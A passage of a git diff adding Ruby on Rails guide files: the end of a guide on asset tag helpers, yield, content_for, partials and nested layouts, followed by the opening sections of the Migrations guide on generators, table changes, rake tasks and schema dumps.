+To include +http://example.com/main.js+: + +<erb> +<%= javascript_include_tag "http://example.com/main.js" %> +</erb> + +The +defaults+ option loads the Prototype and Scriptaculous libraries: + +<erb> +<%= javascript_include_tag :defaults %> +</erb> + +The +all+ option loads every javascript file in +public/javascripts+, starting with the Prototype and Scriptaculous libraries: + +<erb> +<%= javascript_include_tag :all %> +</erb> + +You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well: + +<erb> +<%= javascript_include_tag :all, :recursive => true %> +</erb> + +If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+: + +<erb> +<%= javascript_include_tag "main", "columns", :cache => true %> +</erb> + +By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead: + +<erb> +<%= javascript_include_tag "main", "columns", + :cache => 'cache/main/display' %> +</erb> + +You can even use dynamic paths such as +cache/#{current_site}/main/display+. + +h5. Linking to CSS Files with +stylesheet_link_tag+ + +The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.cs+: + +<erb> +<%= stylesheet_link_tag "main" %> +</erb> + +To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+: + +<erb> +<%= stylesheet_link_tag "main", "columns" %> +</erb> + +To include +public/stylesheets/main.css+ and +public/photos/columns.css+: + +<erb> +<%= stylesheet_link_tag "main", "/photos/columns" %> +</erb> + +To include +http://example.com/main.cs+: + +<erb> +<%= stylesheet_link_tag "http://example.com/main.cs" %> +</erb> + +By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type): + +<erb> +<%= stylesheet_link_tag "main_print", media => "print" %> +</erb> + +The +all+ option links every CSS file in +public/stylesheets+: + +<erb> +<%= stylesheet_link_tag :all %> +</erb> + +You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well: + +<erb> +<%= stylesheet_link_tag :all, :recursive => true %> +</erb> + +If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+: + +<erb> +<%= stylesheet_link_tag "main", "columns", :cache => true %> +</erb> + +By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead: + +<erb> +<%= stylesheet_link_tag "main", "columns", + :cache => 'cache/main/display' %> +</erb> + +You can even use dynamic paths such as +cache/#{current_site}/main/display+. + +h5. Linking to Images with +image_tag+ + +The +image_tag+ helper builds an HTML +<image>+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, +.png+ is assumed by default: + +<erb> +<%= image_tag "header" %> +</erb> + +You can supply a path to the image if you like: + +<erb> +<%= image_tag "icons/delete.gif" %> +</erb> + +You can supply a hash of additional HTML options: + +<erb> +<%= image_tag "icons/delete.gif", :height => 45 %> +</erb> + +There are also three special options you can use with +image_tag+: + +* +:alt+ specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension) +* +:size+ specifies both width and height, in the format "{width}x{height}" (for example, "150x125") +* +:mouseover+ sets an alternate image to be used when the onmouseover event is fired. + +h4. Understanding +yield+ + +Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted: + +<erb> +<html> + <head> + </head> + <body> + <%= yield %> + </body> +</html> +</erb> + +You can also create a layout with multiple yielding regions: + +<erb> +<html> + <head> + <%= yield :head %> + </head> + <body> + <%= yield %> + </body> +</html> +</erb> + +The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. + +h4. Using +content_for+ + +The +content_for+ method allows you to insert content into a +yield+ block in your layout. You only use +content_for+ to insert content in named yields. For example, this view would work with the layout that you just saw: + +<erb> +<% content_for :head do %> + <title>A simple page</title> +<% end %> + +<p>Hello, Rails!</p> +</erb> + +The result of rendering this page into the supplied layout would be this HTML: + +<erb> +<html> + <head> + <title>A simple page</title> + </head> + <body> + <p>Hello, Rails!</p> + </body> +</html> +</erb> + +The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise generic layout. + +h4. Using Partials + +Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file. + +h5. Naming Partials + +To render a partial as part of a view, you use the +render+ method within the view, and include the +:partial+ option: + +<ruby> +<%= render :partial => "menu" %> +</ruby> + +This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: + +<ruby> +<%= render :partial => "shared/menu" %> +</ruby> + +That code will pull in the partial from +app/views/shared/_menu.html.erb+. + +h5. Using Partials to Simplify Views + +One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: + +<erb> +<%= render :partial => "shared/ad_banner" %> + +<h1>Products</h1> + +<p>Here are a few of our fine products:</p> +... + +<%= render :partial => "shared/footer" %> +</erb> + +Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. + +TIP: For content that is shared among all pages in your application, you can use partials directly from layouts. + +h5. Partial Layouts + +A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this: + +<erb> +<%= render :partial => "link_area", :layout => "graybar" %> +</erb> + +This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder). + +h5. Passing Local Variables + +You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content: + +* +new.html.erb+ + +<erb> +<h1>New zone</h1> +<%= error_messages_for :zone %> +<%= render :partial => "form", :locals => + { :button_label => "Create zone", :zone => @zone } %> +</erb> + +* +edit.html.erb+ + +<erb> +<h1>Editing zone</h1> +<%= error_messages_for :zone %> +<%= render :partial => "form", :locals => + { :button_label => "Update zone", :zone => @zone } %> +</erb> + +* +_form.html.erb+ + +<erb> +<% form_for(zone) do |f| %> + <p> + <b>Zone name</b><br /> + <%= f.text_field :name %> + </p> + <p> + <%= f.submit button_label %> + </p> +<% end %> +</erb> + +Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial. + +Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option: + +<erb> +<%= render :partial => "customer", :object => @new_customer %> +</erb> + +Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view. + +WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version. + +If you have an instance of a model to render into a partial, you can use a shorthand syntax: + +<erb> +<%= render :partial => @customer %> +</erb> + +Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it. + +h5. Rendering Collections + +Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection: + +* +index.html.erb+ + +<erb> +<h1>Products</h1> +<%= render :partial => "product", :collection => @products %> +</erb> + +* +_product.html.erb+ + +<erb> +<p>Product Name: <%= product.name %></p> +</erb> + +When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial: + +<erb> +<%= render :partial => "product", :collection => @products, :as => :item %> +</erb> + +With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial. + +TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered. + +You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option: + +<erb> +<%= render :partial => "product", :collection => @products, + :spacer_template => "product_ruler" %> +</erb> + +Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials. + +There's also a shorthand syntax available for rendering collections. For example, if +@products+ is a collection of products, you can render the collection this way: + +* +index.html.erb+ + +<erb> +<h1>Products</h1> +<%= render :partial => @products %> +</erb> + +* +_product.html.erb+ + +<erb> +<p>Product Name: <%= product.name %></p> +</erb> + +Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: + +* +index.html.erb+ + +<erb> +<h1>Contacts</h1> +<%= render :partial => + [customer1, employee1, customer2, employee2] %> +</erb> + +* +_customer.html.erb+ + +<erb> +<p>Name: <%= customer.name %></p> +</erb> + +* +_employee.html.erb+ + +<erb> +<p>Name: <%= employee.name %></p> +</erb> + +In this case, Rails will use the customer or employee partials as appropriate for each member of the collection. + +h4. Using Nested Layouts + +You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example: + +Suppose you have the follow +ApplicationController+ layout: + +* +app/views/layouts/application.html.erb+ + +<erb> +<html> +<head> + <title><%= @page_title or 'Page Title' %></title> + <%= stylesheet_link_tag 'layout' %> + <style type="text/css"><%= yield :stylesheets %></style> +</head> +<body> + <div id="top_menu">Top menu items here</div> + <div id="menu">Menu items here</div> + <div id="content"><%= yield(:content) or yield %></div> +</body> +</html> +</erb> + +On pages generated by +NewsController+, you want to hide the top menu and add a right menu: + +* +app/views/layouts/news.html.erb+ + +<erb> +<% content_for :stylesheets do %> + #top_menu {display: none} + #right_menu {float: right; background-color: yellow; color: black} +<% end -%> +<% content_for :content do %> + <div id="right_menu">Right menu items here</div> + <%= yield(:news_content) or yield %> + <% end -%> +<%= render :file => 'layouts/application' %> +</erb> + +That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. + +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :file => 'layouts/news'+ to base a new layout on the News layout. If one is sure she will not subtemplate the +News+ layout, she can ommit the +yield(:news_content) or + part. + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15 + +* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates +* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy +* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy +* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy +* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy +* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile new file mode 100644 index 0000000000..5ed94c30b7 --- /dev/null +++ b/railties/guides/source/migrations.textile @@ -0,0 +1,591 @@ +h2. Migrations + +Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. + +Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database. + +Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more that you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production. + +You'll learn all about migrations including: + +* The generators you can use to create them +* The methods Active Record provides to manipulate your database +* The Rake tasks that manipulate them +* How they relate to +schema.rb+ + +endprologue. + +h3. Anatomy of a Migration + +Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: + +<ruby> +class CreateProducts < ActiveRecord::Migration + def self.up + create_table :products do |t| + t.string :name + t.text :description + + t.timestamps + end + end + + def self.down + drop_table :products + end +end +</ruby> + +This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table. + +Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields: + +<ruby> +class AddReceiveNewsletterToUsers < ActiveRecord::Migration + def self.up + change_table :users do |t| + t.boolean :receive_newsletter, :default => false + end + User.update_all ["receive_newsletter = ?", true] + end + + def self.down + remove_column :users, :receive_newsletter + end +end +</ruby> + +This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered +to have already opted in, so we use the User model to set the flag to +true+ for existing users. + +NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. + +h4. Migrations are Classes + +A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them). + +Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later): + +* +create_table+ +* +change_table+ +* +drop_table+ +* +add_column+ +* +change_column+ +* +rename_column+ +* +remove_column+ +* +add_index+ +* +remove_index+ + +If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). + +On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. + +h4. What's in a Name + +Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. + +Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting +config.active_record.timestamped_migrations+ to +false+ in +config/environment.rb+. + +The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers. + +For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods. + +Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike. + +h4. Changing Migrations + +Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. + +In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense. + +h3. Creating a Migration + +h4. Creating a Model + +The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running + +<shell> +ruby script/generate model Product name:string description:text +</shell> + +will create a migration that looks like this + +<ruby> +class CreateProducts < ActiveRecord::Migration + def self.up + create_table :products do |t| + t.string :name + t.text :description + + t.timestamps + end + end + + def self.down + drop_table :products + end +end +</ruby> + +You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that +are automatically populated by Active Record) will be added for you. + +h4. Creating a Standalone Migration + +If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator: + +<shell> +ruby script/generate migration AddPartNumberToProducts +</shell> + +This will create an empty but appropriately named migration: + +<ruby> +class AddPartNumberToProducts < ActiveRecord::Migration + def self.up + end + + def self.down + end +end +</ruby> + +If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created. + +<shell> +ruby script/generate migration AddPartNumberToProducts part_number:string +</shell> + +will generate + +<ruby> +class AddPartNumberToProducts < ActiveRecord::Migration + def self.up + add_column :products, :part_number, :string + end + + def self.down + remove_column :products, :part_number + end +end +</ruby> + +Similarly, + +<shell> +ruby script/generate migration RemovePartNumberFromProducts part_number:string +</shell> + +generates + +<ruby> +class RemovePartNumberFromProducts < ActiveRecord::Migration + def self.up + remove_column :products, :part_number + end + + def self.down + add_column :products, :part_number, :string + end +end +</ruby> + +You are not limited to one magically generated column, for example + +<shell> +ruby script/generate migration AddDetailsToProducts part_number:string price:decimal +</shell> + +generates + +<ruby> +class AddDetailsToProducts < ActiveRecord::Migration + def self.up + add_column :products, :part_number, :string + add_column :products, :price, :decimal + end + + def self.down + remove_column :products, :price + remove_column :products, :part_number + end +end +</ruby> + +As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit. + +h3. Writing a Migration + +Once you have created your migration using one of the generators it's time to get to work! + +h4. Creating a Table + +Migration method +create_table+ will be one of your workhorses. A typical use would be + +<ruby> +create_table :products do |t| + t.string :name +end +</ruby> + +which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). + +The object yielded to the block allows you create columns on the table. There are two ways of doing this: The first (traditional) form looks like + +<ruby> +create_table :products do |t| + t.column :name, :string, :null => false +end +</ruby> + +the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. + +<ruby> +create_table :products do |t| + t.string :name, :null => false +end +</ruby> + +By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example + +<ruby> +create_table :products, :options => "ENGINE=BLACKHOLE" do |t| + t.string :name, :null => false +end +</ruby> + +will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). + +The types supported by Active Record are +:primary_key+, +:string+, +:text+, +:integer+, +:float+, +:decimal+, +:datetime+, +:timestamp+, +:time+, +:date+, +:binary+, +:boolean+. + +These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example + +<ruby> +create_table :products do |t| + t.column :name, 'polygon', :null => false +end +</ruby> + +This may however hinder portability to other databases. + +h4. Changing Tables + +A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example + +<ruby> +change_table :products do |t| + t.remove :description, :name + t.string :part_number + t.index :part_number + t.rename :upccode, :upc_code +end +</ruby> +removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing + +<ruby> +remove_column :products, :description +remove_column :products, :name +add_column :products, :part_number, :string +add_index :products, :part_number +rename_column :products, :upccode, :upc_code +</ruby> + +You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+. + +h4. Special Helpers + +Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that: + +<ruby> +create_table :products do |t| + t.timestamps +end +</ruby> +will create a new products table with those two columns (plus the +id+ column) whereas + +<ruby> +change_table :products do |t| + t.timestamps +end +</ruby> +adds those columns to an existing table. + +The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability + +<ruby> +create_table :products do |t| + t.references :category +end +</ruby> + +will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required: + +<ruby> +create_table :products do |t| + t.references :attachment, :polymorphic => {:default => 'Photo'} +end +</ruby> +will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. + +NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. + +If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. + +For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). + +h4. Writing Your +down+ Method + +The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example + +<ruby> +class ExampleMigration < ActiveRecord::Migration + + def self.up + create_table :products do |t| + t.references :category + end + #add a foreign key + execute <<-SQL + ALTER TABLE products + ADD CONSTRAINT fk_products_categories + FOREIGN KEY (category_id) + REFERENCES categories(id) + SQL + + add_column :users, :home_page_url, :string + + rename_column :users, :email, :email_address + end + + def self.down + rename_column :users, :email_address, :email + remove_column :users, :home_page_url + execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories" + drop_table :products + end +end +</ruby> +Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be +displayed saying that it can't be done. + + +h3. Running Migrations + +Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. + +Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. + +If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The +version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run + +<shell> +rake db:migrate VERSION=20080906120000 +</shell> + +If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. + +h4. Rolling Back + +A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run + +<shell> +rake db:rollback +</shell> + +This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter: + +<shell> +rake db:rollback STEP=3 +</shell> + +will run the +down+ method from the last 3 migrations. + +The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example + +<shell> +rake db:migrate:redo STEP=3 +</shell> + +Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. + +Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. + +NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you. + +h4. Being Specific + +If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example + +<shell> +rake db:migrate:up VERSION=20080906120000 +</shell> + +will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run. + +h4. Being Talkative + +By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this + +<shell> +20080906170109 CreateProducts: migrating +-- create_table(:products) + -> 0.0021s +-- add_index(:products, :name) + -> 0.0026s +20080906170109 CreateProducts: migrated (0.0059s) +</shell> + +Several methods are provided that allow you to control all this: + +* +suppress_messages+ suppresses any output generated by its block +* +say+ outputs text (the second argument controls whether it is indented or not) +* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. + +For example, this migration + +<ruby> +class CreateProducts < ActiveRecord::Migration + def self.up + suppress_messages do + create_table :products do |t| + t.string :name + t.text :description + t.timestamps + end + end + say "Created a table" + suppress_messages {add_index :products, :name} + say "and an index!", true + say_with_time 'Waiting for a while' do + sleep 10 + 250 + end + end + + def self.down + drop_table :products + end +end +</ruby> + +generates the following output + +<shell> +20080906170109 CreateProducts: migrating + Created a table + -> and an index! + Waiting for a while + -> 10.0001s + -> 250 rows +20080906170109 CreateProducts: migrated (10.0097s) +</shell> + +If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. + +h3. Using Models in Your Migrations + +When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. + +Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist. + +Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example: + +<ruby> +class AddPartNumberToProducts < ActiveRecord::Migration + class Product < ActiveRecord::Base + end + + def self.up + ... + end + + def self.down + ... + end +end +</ruby> +The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application. + +h4. Dealing with Changing Models + +For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example + +<ruby> +class AddPartNumberToProducts < ActiveRecord::Migration + class Product < ActiveRecord::Base + end + + def self.up + add_column :product, :part_number, :string + Product.reset_column_information + ... + end + + def self.down + ... + end +end +</ruby> + + +h3. Schema Dumping and You + +h4. What are Schema Files for? + +Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database. + +There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema. + +For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. + +Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest. + +h4. Types of Schema Dumps + +There are two ways to dump the schema. This is set in +config/environment.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+. + +If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration: + +<ruby> +ActiveRecord::Schema.define(:version => 20080906171750) do + create_table "authors", :force => true do |t| + t.string "name" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "products", :force => true do |t| + t.string "name" + t.text "description" + t.datetime "created_at" + t.datetime "updated_at" + t.string "part_number" + end +end +</ruby> + +In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. + +There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. + +Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{RAILS_ENV}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. + +By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. + +h4. Schema Dumps and Source Control + +Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control. + +h3. Active Record and Referential Integrity + +The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. + +Validations such as +validates_uniqueness_of+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. + +Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to 